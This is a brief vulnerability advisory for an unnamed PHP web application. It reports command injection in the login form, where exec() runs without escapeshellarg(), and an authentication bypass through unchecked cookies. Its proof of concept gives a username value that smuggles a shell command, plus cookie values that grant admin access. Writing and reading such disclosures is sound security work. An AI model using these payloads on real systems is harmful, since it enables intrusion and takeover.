1. Description
It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.

2. Proof of Concept
For RCE simply use as username:
a" || your_command_to_execute || "
For authentication bypass set COOKIES:
username=1; isAdmin=1
and then visit for example php/users.php
